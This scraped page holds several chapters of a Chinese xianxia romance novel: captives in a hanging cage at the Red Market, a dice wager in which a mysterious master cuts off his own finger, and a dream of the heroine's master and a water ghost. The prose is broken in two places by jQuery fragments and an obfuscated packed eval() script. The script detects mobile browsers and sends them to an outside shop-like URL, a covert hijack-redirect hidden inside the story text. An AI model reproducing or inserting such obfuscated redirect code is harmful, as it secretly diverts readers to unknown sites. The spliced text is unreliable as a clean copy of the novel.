$(''.inform'').remove(); $(''#content'').append('' 几,身形陡然拔高,凌空越过杂物堆成的矮墙,落地之际,又借滚落的酒坛借力,身姿矫健如箭,飞速向前,转瞬便掠过众人身侧,商贩们连其身影都未曾看清。 “我们为什么要跑!这是要去哪里!” 云逍在身后跑得气喘吁吁,原本从容之态尽失,神色焦急。 “你回头一看便知!”江染在其后高声回应。 云逍仓促回头,只见黑压压一群商贩,手持棍棒、扫帚、板凳,面目狰狞,紧追不舍,气势汹汹。 云逍见状,脸色骤变,失声惊呼:“卧槽!他们为什么追我们啊?!我们哪里招惹他们了!” 蔡乔与二人并肩狂奔,无暇回头,咬牙道:“他们定是误以为我们故意捣乱,损毁摊位,看他们这气势,万万不可被抓住啊!” “此般情形,岂是躲得过的!”云逍声音发紧,在红市穹顶之下大声回荡。 前方面具男子依旧不停推翻摊位,引得骂声震天,他却不管不顾,直奔出口而去,一心想要脱身。 可就在他即将冲出出口之时,一队身着赤红色甲胄的卫士凭空出现,列成森严人墙,长刀出鞘,寒光凛冽,严阵以待,断了他的去路。 面具男子猛地驻足,鞋底摩擦地面,发出刺耳声响。 众人皆以为他已是瓮中之鳖,无处可逃,却见他双指并拢,抵在唇边,口中念了几句咒诀。 须臾之间,一张巴掌大小的黄色符纸,凭空出现在他指尖! 是缩地符! 金光一闪,男子身形瞬间消散,无影无踪。 景泽骤然停步,她奋力追赶许久,终究还是让他逃了,心头又急又恼。 江染、云逍、蔡乔也相继停下,一个个气喘吁吁,面色发白。 然祸事并未就此了结。 那些被损毁摊位的商贩,已然围拢上来,手持擀面杖、菜刀、捣药杵、算盘,甚至有人拎着死鸭,怒气冲天,将四人团团围住。 领头的壮汉满脸横肉,上前一步,指着四人厉声怒骂:“便是这几个小辈,故意捣乱,毁我生计!绝不能放他们离去!” “正是!不能饶了他们!” “赔钱!速速赔偿损失!” “教训他们!为我们出气!” 众商贩群情激愤,呼声震天,一步步逼近,包围圈越缩越小,景泽甚至能看清领头之人眼中的怒火。 “何人在此寻衅滋事?” 便在此时,一道苍老浑厚的声音从人群后方传来,压过了周遭的嘈杂。 人群仿若被无形之手拨开,自动向两侧靠拢,一名拄着金刚杵的白胡子老僧,缓步从中走出。 这老僧身形高挑,极为壮硕,身着暗红袈裟,手中金刚杵乃乌金打造,杵头刻着怒目护法神像,煞气隐隐。 他面容并无半分慈悲,一双眼眸锐利如鹰,扫视之下,似能洞穿人心。 此人正是清州红市之主,公孙伽尼。 当即有商贩快步上前,对着公孙伽尼躬身行礼,指着景泽四人,愤愤告状:“公孙大人,便是这几个小辈,肆意损毁我等摊位,搅乱市中生意,还望大人为我们做主!” 公孙伽尼轻抚花白胡须,锐利目光缓缓扫过景泽、江染、云逍、蔡乔四人,沉声问道: “可是你等四人,在我红市闹事?” 景泽张了张嘴,正要开口辩解:“我……” 只一个“我”字刚出口,公孙伽尼已然抬手。 一股排山倒海般的雄浑力道,自他掌心汹涌而出,一只金色巨掌凭空凝聚,越胀越大,转瞬之间遮天蔽日,宛若一座山岳,朝着四人轰然压下! 巨掌过境,空气被挤压得发出尖锐爆鸣,景泽只觉胸口被无形大手死死攥住,脑中嗡嗡作响,眼前阵阵发黑。 便在她强忍威压,心神剧震之际,身旁的江染、云逍、蔡乔,已是接连支撑不住,应声倒地。 景泽:……! 24. 金笼 蒙眬之际,景泽听闻四下欢声雷动,此起彼伏,直震得耳鼓嗡嗡作响。 待得神智渐清,睁开眼时,却见三张神色颓丧的脸近在眼前。 江染盘膝坐于左侧,双臂环胸,双眉蹙得能夹死蚊蚋。云逍蹲在右边,那柄终日不离手的折扇也不摇了,只垂头丧气,脑袋耷拉着。蔡乔坐于对面,双手托腮,双目失焦,不知魂游何方。 三人六目,齐齐凝在她身上,异口同声道: “你总算醒了。” 景泽一时默然,心中暗道:这是何等境况?怎的个个都这般半死之态?我不过昏沉片刻,莫非天崩地陷了不成? 江染抬颌示意,让她回身往后看去。 景泽满心疑惑,缓缓转头,这一望,不由惊得心头大震! 原来他们四人竟被囚于一尊巨大铁笼之中!那笼长宽各有丈许,笼柱皆以儿臂粗细的乌金铸就,此刻正悬空吊在殿宇穹顶之下,距地面足有四五丈高,靠一根粗铁链连于顶部机关。 景泽下意识攥住身旁栏杆,俯首下望,只见底下竟是一片赤红人海。 一张硕大无朋的红木赌桌,居于整层楼阁正中,桌面打磨得光莹如镜,映着头顶赤红光火,便如一池凝固的血色,触目惊心。赌桌四周围满了黑压压的人群,皆是她昏迷之前,一路追打围杀的市井商贩。 众人乌泱泱挤作一团,不计其数,个个面目狰狞,咬牙切齿,那愤恨凶戾之态,恨不能将笼中四人千刀万剐,方解心头之恨。 景泽暗自咽了口唾沫,惊魂未定间,目光忽被赌桌上一物引去。 那赌桌中卧着一妖物,头作狐狸之形,尖耳长吻,一双琥珀色竖瞳寒光乍现,周身皮毛赤红如焰。然其下却是女子身段,身着薄如蝉翼的轻纱,胸前雪肤半露,沟壑深深。一双修长美腿,自纱衣下摆探出,煞是妖异。 这狐狸精侧卧桌间,单手支颐,姿态慵懒妖娆,另一只手中,握着一杆通体碧绿的烟枪,乃上等翡翠雕琢而成,温润通透。 她将翡翠烟枪在指间轻转数圈,随即凑至唇边,浅浅一吸,吐出几缕淡淡烟圈,袅袅散开。 “公孙大人有令,这四人交由奴家处置。诸位,可有异议?” 那双琥珀竖瞳,缓缓扫过全场,方才还群情激愤、叫嚣不止的商贩,尽数垂首噤声,不敢有半分违逆。 江湖中人,但凡知晓公孙伽尼者,无不清楚,此人最是疼宠这只狐妖。 相传此狐在公孙伽尼还是一介小僧时,便随侍左右,一人一狐相伴百年,情谊之深,远超常人想象。 得罪这狐妖,便是与公孙伽尼为敌,在这红市之中,得罪公孙伽尼,无异于自断财路,自取灭亡,纵有满腔愤恨,又有谁敢道一个“不”字? “全凭小主吩咐!小主所言,便是道理!”众商贩纷纷躬身附和,再无半分方才的凶狂。 狐狸精闻言,唇角微扬,缓缓起身坐直。 她将烟枪置于一旁,一手手肘随意搭在屈起的膝头,另一只手虚空一探,掌中竟凭空多出三枚骰子。 骰子在她指间轻转,碰撞之声清脆悦耳,随即一双魅眼斜睨众人: “尔等这般愤恨,莫不都是想杀了这笼中四人?” 一语甫落,台下商贩再度哗然。 “杀!杀!杀!” 喊杀之声震天动地,直冲云霄,几乎要将整座红市掀翻。 景泽听着这一声声夺命呼喊,只觉后背寒意阵阵,不由自主往江染身侧靠了靠。 江染脸色沉冷,双唇紧抿成一线,云逍面色惨白如纸,手中折扇再也摇不动,死死攥在掌心,簌簌发抖。 唯有蔡乔,反倒异常沉静,只眉头微蹙,目光紧盯台下狐妖,默然不语。 狐狸精待众人喊得声嘶力竭,方才慢悠悠竖起一根纤指,在空中轻轻一摇。 方才还沸腾如潮的人群,瞬间鸦雀无声,落针可闻。 “也罢,” 她唇角勾起一抹似笑非笑的弧度,慢声道:“今日尔等之中,若有人能赢过奴家,非但可将笼中四人带走,任凭处置,更能得五百两黄金赏赐。” 五百两黄金!那是寻常人几世都积攒不下的巨额财富! 众商贩双目赤红,呼吸粗重,个个摩拳擦掌,跃跃欲试,恨不能即刻扑上赌桌,与这狐妖一决胜负。 “只是……” 狐狸精话锋一转,语气依旧慵懒,可那双琥珀竖瞳之中,却骤然泛起丝丝冷冽杀意。 “若是输了,非但带不走这四人,反倒要赔奴家五百两黄金。” 她顿了顿,目光扫过全场,笑意更浓:“若是赔不起,也无妨,便以你们身上肢体来偿。是砍手断足,还是挖眼削耳,全凭奴家心意。” “每人仅有三次挑战之机,诸位意下如何?” 狐狸精声音娇柔婉转,可配上那冰冷狠戾的眼神,直让众人心底发寒,周身汗毛倒竖,方才还躁动不已的场面,瞬间冷了下来。 赢则富贵天降,输则代价惨重,性命堪忧。五百两黄金,在场众人纵是倾家荡产,也未必能凑出半数。更何况,这狐妖手段莫测,若是暗中使诈,今日怕是连性命都要丢在此处。 方才还高声叫嚣的商贩,此刻尽皆面面相觑,交头接耳,议论纷纷,却无一人敢挺身而出,打头阵挑战。 景泽伏在笼边,望着台下这般情势,思绪纷乱。 “完了完了,此番当真要命丧于此!” 云逍带着哭腔的声音自身后传来,满是绝望颓丧。 “我乃清州云氏嫡传公子,难道便这般糊里糊涂送了性命?苍天不公啊!我这般绝世容颜,尚未名扬天下,岂能就此陨落?呜呜……” 江染被他哭得心烦意乱,厉声呵斥:“闭嘴!休得在此聒噪!活人岂会被尿憋死?当下当思脱身之法,而非哭哭啼啼!” 云逍被他一吼,登时怔住,不敢再哭嚎出声。 蔡乔环顾笼外四周,压低声音道: “且先静观其变。这狐妖既将我们当作赌注,在胜负未分之前,绝不会伤我们性命。” 景泽默然不语,盘膝坐于地上,低头轻抚手中木盒。 盒上花纹,与她在红市之中所见那男子衣袍上的纹路,分毫不差。这男子究竟是何人?与兄长之死有何干系? 她好不容易寻得兄长一丝线索,无论如何,也不能就此葬身此处。 云逍见景泽独坐出神,只当她是吓破了胆,忙凑上前来,握住她的小手,含情脉脉道:“阿泽妹妹,我云逍活了一十九载,当真是失败至极……” 景泽微怔。 云逍生性自恋,张口绝世风姿,闭口倾倒众生,恨不能将“天下第一俊美”刻在脸上。这般自怨自艾,妄自菲薄,倒是头一遭见到。 景泽心下微生动容,难得耐下性子,轻声问道:“你为何有此念头?” 云逍眼含热泪,悲痛难抑:“阿泽妹妹你也看见了,我容貌绝世,世间罕有,可偏偏没有女子倾心于我,无一人愿近我身,听我心中苦楚……” 景泽见他这般难过,心下顿生不忍,沉吟片刻,认真道:“你不必伤悲,我喜欢你,也愿亲近于你,听你诉说心事。” 云逍猛地抬首,泪眼朦胧的桃花眼中,满是不敢置信,半晌,摇头道:“你不必哄我。若是真心喜欢我,先前我让你亲我一口,你为何不肯?罢了,我自知失败,这世间,终究无人真心待我。” 他松开景泽的手,转过身去,抬起衣袖假意拭泪,肩头一抽一抽,背影孤寂落寞,惹人怜惜。 景泽望着他的背影,心下暗自愧疚,只觉自己往日待他着实太过冷淡。 这云逍,虽自恋聒噪,惹人厌烦,却从未害过自己。自初见之时,他便热心待她,为她寻谋生之路,庆元春一事被逐后,也始终记挂她的安危,此番更是主动道出凶手线索,处处相护。 这般好的人,自己往日里却爱答不理,从未给过半分好脸色,想来实在过分。 景泽深吸一口气,似是下定天大的决心,轻声道:“若是……亲你一口,你便能宽心,那便依你。” “……!”云逍拭泪的动作骤然一顿。 他猛地转过身,脸上悲色一扫而空,忙不迭地点头,眼中满是欣喜。 景泽无奈轻叹,道:“你且靠近些。” 云逍依言将脸颊凑了过来,唇角笑意压都压不住。 景泽闭上双目,微微倾身,唇瓣即将触到云逍脸颊之际,忽有一道金光破空而来,硬生生横亘在二人之间。 景泽的唇轻触光障,登时怔住。 云逍也是一脸错愕,神情从期待转为茫然,再从茫然变为震怒,当即暴跳而起,四下环顾,怒喝:“卧槽!何方狂徒,敢坏我好事!” 景泽正自疑惑,忽闻四下再度喧腾,欢呼声、惊叫声、倒吸凉气之声交织在一起,比之方才狐妖出场之时,更要热烈数倍。 众人目光齐齐投向殿侧旋转阶梯,只见一道身影缓步而下。 那人身着一袭黑袍,长发以墨玉簪束起,几缕碎发垂落额前,衬得面容白皙如玉,俊美无俦。 其容貌之盛,非云逍那般温润儒雅之美,而是带着一股凌厉妖异,暗藏凶险的慑人风姿,剑眉斜飞入鬓,鼻梁高挺如峰,薄唇轻抿,似笑非笑,眼神深邃难测,望之便让人心生怯意。 他缓步走来时,周身散出一股无形威压,所过之处,空气仿若凝固,周遭商贩不由自主纷纷后退,自动让出一条通路,无人敢挡其前路。 “此人是谁家公子?容貌竟如此出众!” “看其衣着气度,定是世家大族的贵胄子弟!” “绝非寻常贵族,你等且感受他周身灵力,强横至极!我等站在这般远处,依旧觉得气息滞涩,难以喘息,此人修为深不可测,必是江湖中顶尖的大佬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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台下狐狸精斜倚桌沿,将翡翠烟枪放在一旁,双手环抱胸前,饶有兴致地打量着这位不速之客,笑吟吟开口。 “这位公子,莫不是也想要这笼中四人?” 黑袍男子行至赌桌前,淡淡瞥了狐妖一眼。 “我既不要这四人,也不稀罕五百两黄金。” 狐狸精眉梢微挑,眼中闪过一丝讶异,既不要人,也不要钱财,此人此番前来,意欲何为?她指尖转着烟枪,歪头问道: “既如此,公子来我这红市赌局,又是为何?” 男子目光抬首,望向穹顶之下的铁笼,修长白皙的手指直直指向笼中那道瘦削的背影,说:“我只要那个妹妹,你给,还是不给?” 狐狸精脸色微变,许久以来,从未有人敢在她的地盘,用这般命令的口吻与她说话。 这红市是她的地界,赌局是她定下的规矩,一切尽在她掌控之中,这小子何来这般底气? 狐狸精冷笑一声,腰身坐直,将翡翠烟枪重重顿在赌桌之上,竖瞳之中寒光乍现: “公子怕是初来乍到,不懂这红市的规矩。江湖行走,规矩为大,此地乃奴家的地盘,自然由奴家做主。这姑娘如今在奴家手中,想要带她走,便要赢过奴家!” 她将三枚白玉骰子推向男子,骰子在桌面骨碌碌转动,最终停在对方手边。 黑袍男子垂眸看了眼桌上骰子,唇角微扬。 这区区狐妖,不过盘踞一方红市,若是他纥奚时砚愿意,抬手之间,便可将这整座红市化为齑粉。 只是这般行径,太过粗暴,他的爱徒素来不喜。他的爱徒倾心的,是世间君子风骨,是话本之中为所爱之人赴汤蹈火的痴绝,故而他便陪着这狐妖,演完这一场赌局戏码。 “好。”他缓缓开口,“便依你所言,赌上三局。” 他俯身拾起骰子,握于掌心。 围观众人见状,哗然一片。 方才这些人还顾忌身家性命,不敢上前挑战,此刻尽数置身事外,眼中八卦之火熊熊燃烧,只盼着看这一场好戏。 “你们说,这公子为何偏偏只要那姑娘?” “想来是有旧怨,要将人带回去,狠狠折磨报复!” “这姑娘到底是何方人物,竟得罪了这般顶尖高手?我倒是有些怜惜她了,以这公子的修为,便是将她挫骨扬灰,也不过是举手之劳。” “可不是嘛,你看那姑娘,吓得面色惨白,躲在同伴身后,连头都不敢抬,当真是可怜。” 众人七嘴八舌的议论,一字不落传入黑袍男子耳中。 男子目光扫过全场,眼底寒芒一闪,道:“尔等休得胡言,若是吓着那个妹妹了,本座不介意将尔等尽数挫、骨、扬、灰!” 25. 师尊 白玉碗中,三枚骰子滴溜溜旋转,瓷碗相击,发出清脆声响,众人凝目望去,只见碗中骰子竟是三个一,点数合共才三! 周遭看客先是一怔,随即哄然大笑: “三个一!区区三点,我道这位公子有何等通天本事,原来不过尔尔!” “方才见他黑袍覆身,气势凛然,只当是江湖隐世高人,哪知摇骰之技,尚不如寻常市井之徒。” “咱们小主适才摇出十二点,四倍于他,这一局输得,当真是颜面尽失。” “首局便败,余下两局,只怕更难收场。” 那些商贩先前慑于黑袍人气势,不敢喘息,此刻却个个挺直腰板,脸上尽是幸灾乐祸之色。 赌桌之后,狐狸精歪着头,一双妙目将黑袍男子从头到脚细细打量,半晌,方双手托腮,慵懒笑道:“小哥哥,你这可是输啦。” “让奴家想想,该从你身上取个什么部件才好?” “取只眼睛?不成不成,你生得这般俊俏,毁了容,奴家自个儿看着也不快活。” “取只手?唉,若是取了,你日后如何与人争斗?岂非害了你?” 狐狸精故作愁态,长长叹了口气,“罢了,奴家便要你砍下自己一根手指。至于哪根,你自个儿拣吧,奴家不与你费这心神。” 此言一出,满堂皆寂,继而一片倒抽冷气之声。 虽只一指,十指连心,其痛何及?众人只一想,便觉骨缝生寒。 然而这刀,却非砍在自己身上,当下人人心中升起一股隐秘的期盼,巴不得立时见那冷傲面容露出痛楚之色。 笼中,云逍趴在栏杆上,见状长舒一口气,对景泽道:“看来这人也不过如此,我先前还高看他了呢,阿泽妹妹,你说可是?” 景泽却未答话,一双清眸只紧紧锁着下方那黑袍男子。 “或许……是他运气不好。”她低声道。 赌桌旁,黑袍男子脸上无半分惧色。他缓缓抬头,目光穿透层层人墙,直直落在景泽脸上。 景泽心头猛地一跳。 只一眼,那人已收回目光,右手一翻,掌中凭空多出一柄寒光闪闪的短刃。 只见他手腕一抖,手起刀落,血光迸溅! 一截无名指已落在暗红桌面上,骨碌碌滚了两圈,留下一道触目惊心的殷红血痕。 满堂寂静,继而拊掌叫好之声如潮而起。 “好!真男儿也!说砍便砍,毫不含糊!” “佩服!换做是我,哪来这般狠劲!” 景泽瞳孔微缩,凝视那断指,心跳骤然加速,快得几欲破腔而出。 此人究竟是谁?何以不惜自残,定要带自己走?她分明从未见过这人! 无数疑窦,霎时在脑中炸开。 狐狸精瞧着那断指,眼中闪过一丝极复杂的神色。她阅人无数,狠戾之辈见得多了,然似这般对自己下手毫不留情者,却属罕见。 想到这里,她的目光不由自主又飘向了笼中那瘦削女子。 “敢问公子,”狐狸精忍不住开口,语气郑重了几分,“你为何定要带走那笼中姑娘?她于你,当真如此重要么?” 此言一出,众人的耳朵无不竖起,八卦之心熊熊燃烧。 景泽亦屏住了呼吸。 黑袍男子缓缓抬头,目光再次穿过栏杆,与景泽双眸相对。 继而,他嘴角微微一弯,竟露出一丝温柔至极的笑意。 “重要,自然重要。” 他顿了顿,目光仍不离景泽脸庞:“那妹妹拳脚伶俐,心思机敏,又偶尔怯懦,惹人怜爱,与我数年前失散的那个徒儿,甚是相像。” “我欲带她回去,收为关门弟子,将一身通天彻地的本事尽数传授于她,让她做这天下最快活的女子。” 话音落处,满堂炸锅! “天爷!这姑娘何等福气!莫不是话本子里才有的造化!” “道心破碎!我怎就遇不上这等美男子师父!” “苍天啊,你欠我的一个师父,何时才还!” “我也想做天下最快活的女子啊!呜呼!” 尖叫、艳羡、嫉妒之声,混成一片,几乎将这楼顶掀去。众女修眼冒桃心,恨不得以身相代。 景泽却呆住了。 一股热气自颈后蔓延,直烧至耳根。她紧咬下唇,欲要冷静,心跳却愈发狂乱,似要撞出胸膛。 只因像那徒儿么?缘由竟这般简单? 正出神间,忽觉耳畔多了一双温暖的大手,云逍不知何时挤到身侧,死死捂住了她的耳朵,又急又气地道:“阿泽妹妹!莫信他!谁晓得是真是假!说不定是拐带少女的歹人!万万信不得!” 云逍掌心温热,隔绝了下方大半喧嚣。 可那黑袍男子的双眼,却如何也隔不断。 景泽透过栏杆,望向那人。他似察觉她的目光,微微抬头,与她视线相接。 那双眼生得实在好看,琥珀色的眸子里映着烛火,温柔似水。 景泽只觉越看越移不开眼,心头狂跳如擂鼓,一下重似一下,热血直冲顶门,耳中嗡嗡作响,眼前景物渐渐模糊。 她下意识抓住笼栏,铁栏冰凉,却丝毫浇不熄胸中那股莫名的滚烫。 如何是好?她现在好慌乱! 仿佛体内有什么东西骤然炸开,自心口蔓延至四肢百骸,肌肤灼热,筋骨酥软。 她张口欲言,喉头却似被甚么堵住,半点声息也发不出。一股腥甜之气,自喉底涌上。 “哇——” 一口鲜血喷出,在众人惊呼声中,景泽直挺挺地倒在笼内。 …… 朦胧间,似有声音自极远处传来,隔着水,隔着墙,听不真切。 景泽揉了揉眼。 自己的手,竟变小了。 胖乎乎的小手,肉嘟嘟的掌心,指甲修剪得整整齐齐。她愣愣地翻看良久,确实是自己的手,她变小了。 低头看去,自己正坐在一张宽大的书案前,面前铺着宣纸,手中握着一支硕大的毛笔。 她应该是在写字。 只是这字……字迹拙劣,横竖不直,撇捺如蚯蚓爬行,大小不一,东倒西歪。 “练了三个月,竟仍是这般光景!老实说,是不是又偷懒了?” 一个清朗的声音自头顶传来,带着几分严厉与无奈。 景泽抬头,愣住了。 眼前是个十五六岁的少年,眉眼温润,线条柔和,并不张扬,瞧着便让人心生亲近。 只是,他眉头皱得极紧。 景泽手一抖,毛笔几欲脱手。 这少年是她兄长,景澄。 她立时明白过来,自己又入旧梦,且是七岁那年。 然则不对,兄长素来温和,从未对她疾言厉色,何曾这般数落过她?这梦,未免荒谬。 可兄长下一句话,立马不荒谬了。 “阿泽,”景澄叹了口气,语气陡然沉重,“为兄是教不了你了。我已与广寒宫阙那位仙师言明,明日便送你去拜师。望你日后上进,莫再让为兄失望。” 小景泽如遭雷击,手中毛笔“啪嗒”掉在纸上。 随即,她放声大哭。 “不要啊!” 她扑上去,死死抱住景澄的腰,脸埋在他衣襟里,哭得上气不接下气,“兄长!我练!我好好练!再也不偷懒了!莫送我去广寒宫阙啊!” “那个堕仙……那个堕仙会吃小孩的!真的会吃!” 是啊,广寒宫阙里住着个性情暴虐的堕仙,最厌孩童,心情不佳时便会食人。这是兄长告诫她的。 这等荒诞缘由,她初时原也不信。直至数月前,她约了几个同伴潜入广寒宫阙探险,被那形如夜叉的堕仙擒住,打了几个手板,她才信了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532956|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那堕仙凶恶无比!全无人性! 若非她机灵逃得快,只怕早已被他吃了!归来后数月,她常梦见堕仙食人的景象,吓得彻夜难眠,一闭眼便是那张狰狞面孔与血盆大口。 景澄是她嫡亲兄长啊!怎能将她送入虎口? 那夜,小景泽在床上辗转反侧,思前想后,终是下了决心。 逃! 趁夜色正浓,众人熟睡,她悄悄起身,穿戴整齐,背起小包袱,从后院狗洞钻出,一路飞奔,逃出了沉渊宫。 然则没跑多远,便被景澄逮个正着,一路拎着,穿过重重宫阙,越过漫漫白雾,来到广寒宫阙前。 雾霭深处,那座冰雪砌成的宫殿若隐若现。 宫门洞开,玉阶之下,立着一袭白衣。 小景泽却不敢看。 她跪在白玉阶前,额头抵着冰凉的玉面,头也不敢抬,唯恐一个不慎,触怒了那堕仙,被他抓去吃了。 她在心中默祷,发誓从此定要乖巧,再不敢淘气,不敢顶嘴,不敢偷懒,只求老天开眼,让那堕仙对她稍稍温柔些。 这段记忆,景泽记得极清。 那时她跪了许久,膝盖疼得钻心,却硬是不敢抬头。景澄站在她身后,等了半晌,见她仍如鹌鹑般缩着,终是看不下去,上前伸手,托起她的下巴,迫她仰头。 “看着。”景澄声音低沉平静,“此乃你日后师尊。” 小景泽被迫仰起脸,泪眼模糊中,瞧见了玉台上那道身影。 “……!”那一瞬,她恍若见了神仙。 那人身量极高,一身白衣,似月华泻地,不染纤尘。墨发以白玉簪松松束起,几缕碎发垂在耳际,五官俊美绝伦,眉眼清冷如霜,薄唇微抿,周身似笼着一层淡淡雾气,与这广寒冰雪浑然一体。 小景泽脸上的泪痕未干,小嘴微张,呆呆望着那人,一句话也说不出。 不是……说好的堕仙呢?说好的形如夜叉呢?说好的会吃小孩呢? 这人与兄长描述的,全然不同啊! 景澄口中的食人堕仙,竟是这般神仙人物? 小景泽忽觉自己被骗得好生凄惨。 景泽记得,拜师那日,师尊距她足有三丈,隔着数级玉阶。她跪在阶下,他立于阶上,高不可攀,遥不可及。 可此刻,在梦中,那本该立于高处的身影,不知何时已行至她面前。 白衣垂落,衣摆拂过玉阶,距她跪着的膝盖,不过一拳之遥。 师尊就这般蹲了下来,与她视线平齐。 那张脸近在咫尺,近得她能数清他睫毛的根数。 后来景泽常想,或许真是拜师那日师尊衣袂飘飘,仙气太盛,才让她毫不犹豫地拜入其门下。 师尊朝她伸出手来,掌心向上,五指修长如玉。 “你好似很怕本座?” 景泽愣住了。 这是师尊么? 是那个动辄罚她清扫整座广寒宫阙的师尊么? 他何曾这般温柔过? “不、不害怕了。”小景泽吸了吸鼻子,用袖子胡乱抹了把脸,红着眼眶瞧着师尊。然后,她伸出自己那肉嘟嘟的小手,轻轻握住了师尊的手指。 师尊的手,并不似想象中冰冷,甚至还带着些许暖意。 “那你初见本座,因何哭成这般模样?可与本座说么?” 小景泽仰头望着师尊。 她的师尊,何时变得这般善解人意了??? 罢了,管他呢。 既是做梦,何必还守着那些清规戒律?师尊难得这般温和,若不趁机撒个娇,岂非对不住自己? 小景泽眼珠一转,小嘴一瘪,“哇”的一声,哭得比方才更响、更委屈、更惊天动地。 “呜呜呜!膝盖跪得疼死了!走不动路了!兄长是个大坏蛋!我讨厌兄长!师尊……我、我要师尊背我!” 26. 红衣诡 景泽刚说出口,立马就后悔了。 她一介微末弟子,资质平平,道行浅薄,怎敢唐突高高在上的纥奚时砚?纵是身处梦境,眼前这位亦是她敬若天人的师尊,半点轻慢不得,倘若师尊恼她得寸进尺,一怒之下再罚她打扫广寒宫阙,那她就是实打实的作死。 泪眼婆娑间,她偷偷抬眼打量师尊。 但见纥奚时砚眉头微蹙,清冷眸中掠过一丝讶异,旋即轻叹一声,语气带着几分无奈: “上来吧,本座背你。” “……!” 小景泽登时怔住,半晌回不过神,她暗掐大腿根一把,剧痛传来,不由倒吸一口凉气,竟是真切的疼! 既有痛感,莫非不是梦境?! 她又狠掐一下,疼意依旧清晰,景泽圆睁双目,脑中嗡嗡作响,旋即又强行自圆其说,定是这梦境太过真切,连痛感都摹得分毫毕现,断无其他可能。 想通此节,她方才放下心来,敛了心神,乖乖伏在纥奚时砚背上,双臂轻环他脖颈,身子蜷缩,宛若一只温顺小猫,紧紧偎着。 纥奚时砚步履沉稳,背着她行至琉霜水榭,景泽望见那水榭,后背竟莫名泛起一阵寒意。 这水榭筑于灵湖之上,飞檐翘角,四面环水,仅一条九曲回廊通连岸边,周遭常年萦绕淡淡灵雾,湖面浮着片片水性杨花,清幽之中,藏着几分肃穆。 此地向来是师尊清修打坐的禁地,除他之外,无人敢擅入半步。 莫非师尊即便在梦中,仍要逼她修炼? 她素来顽劣,与勤勉二字全然无缘,想当年,师尊为促她潜心修行,费尽心思,许诺她修为每有突破,便准她一日假期,任她寻同伴嬉戏。她彼时肯用功修炼,全是为了这一日清闲,并非真心向道。 如今既厌修炼,怎会梦到师尊带她来这禁地苦修?念及此处,小景泽心底打起了退堂鼓。 她伏在师尊背上,探头探脑,四下张望,脑中飞速盘算逃跑之计,师尊总不能追到梦外责罚于她。 可抬眼望去,这广寒宫阙处处皆是师尊地界,禁制密布,结界森严,她纵想逃,又能去往何处? 不如趁早醒转,脱离此境,方为上策。 待师尊将她放下来,她不动声色,悄悄挪步,彼时纥奚时砚背对着她,立于水榭中央,似在察看什么。 机不可失! 景泽深吸一口气,蹑足后退,退至围栏边,探头往下望去。 但见灵湖水色幽深碧绿,薄雾轻笼,一眼望不见底。 话本之中,梦里坠水坠崖,便可惊醒,今日且试上一试!趁纥奚时砚不备,景泽心上一横,翻身便跃入湖中。 “扑通”一声,水花四溅,湖水瞬间将她吞没。 那水寒彻入骨,仿若万千冰针,齐齐扎入肌理,钻透骨缝,冷得她几乎窒息,景泽闭紧双眼,咬牙强忍,只盼即刻醒转。 一息,两息,三息……足足十息过去,她浑身冻得僵硬,牙齿打颤,意识却依旧清醒,丝毫未有醒转之兆。 又过数息,景泽猛地睁眼,心中大骇,此事大有蹊跷,绝非寻常梦境! 湖水昏暗浑浊,唯有头顶透下一丝微光。她慌乱蹬腿,欲浮上水面,忽觉一双冰冷的手,搭上了她的肩头。 景泽浑身一僵,低头望去,那双手惨白骇人,似在水中浸泡百年,毫无血色,指甲漆黑如墨,在幽暗湖水中泛着森然诡光。 她曾在苍冥城见过无数死尸,一见这黑甲,心底便涌起彻骨寒意,这双手绝非活人之手! 猛地转头,一张半覆鬼面的脸庞,紧贴她肩头。那面具遮了眉眼之上,露出的肌肤白得透明,唇色却红如鲜血。 是水鬼! 景泽被吓得魂飞魄散,拼命挣扎,手脚并用地想要挣脱,可那女鬼之手,竟如铁铸一般,死死箍住她肩头,任凭她如何用力,都纹丝不动。 女鬼身形似水蛇,柔若无骨,缠上她的身子,将她沉沉压下,尖削下巴抵在她肩窝。景泽侧目望去,见她身着一袭大红衣裙,在幽暗湖水中,宛若凝固的鲜血,刺目至极。 不及她反应,那双枯手缓缓移至她脖颈,漆黑指尖猛地收紧。 窒息之感顷刻袭来,景泽面色涨得通红,湖水灌入口中,半点声音也发不出。她眼球布满血丝,额间青筋暴起,只觉性命顷刻便要断送于此。 便在她意识模糊之际,女鬼凑近她耳畔,声音细若游丝,阴寒如九幽阴风:“答应帮我做事,便饶你性命,如何?” 每说一字,手上力道便重上一分,景泽喉咙咯咯作响,呼吸难以为继,却依旧拼命摇头。 她与这女鬼素不相识,怎肯轻易屈从? 女鬼红唇上扬,笑意更显阴鸷:“倒是个倔脾气,不给你些苦头吃,你是不肯听话了。” 话音方落,她手上力道骤增,景泽只觉脖颈欲裂,剧痛蔓延全身,视线渐渐发黑,意识飘忽欲散。 “依旧不肯答应?”女鬼阴森开口。 景泽心中悔断肝肠,早知如此,绝不该贸然跳湖。 女鬼力道丝毫不减,她心跳渐缓,眼前漆黑一片,便要彻底昏死过去。 千钧一发之际,一道金光破湖而来,迅疾如电,直直射向女鬼扼住景泽脖颈的手。金光轰然炸开,女鬼手掌瞬间皮开肉绽,黑血喷涌,将周遭湖水染得漆黑。 女鬼发出一声凄厉尖啸,本能松手。 紧接着,一道白影转瞬而至,景泽只觉腰间一紧,被一股温和却不容抗拒的力道揽住,身形骤起,再睁眼时,已落入一个宽阔温暖的怀中。 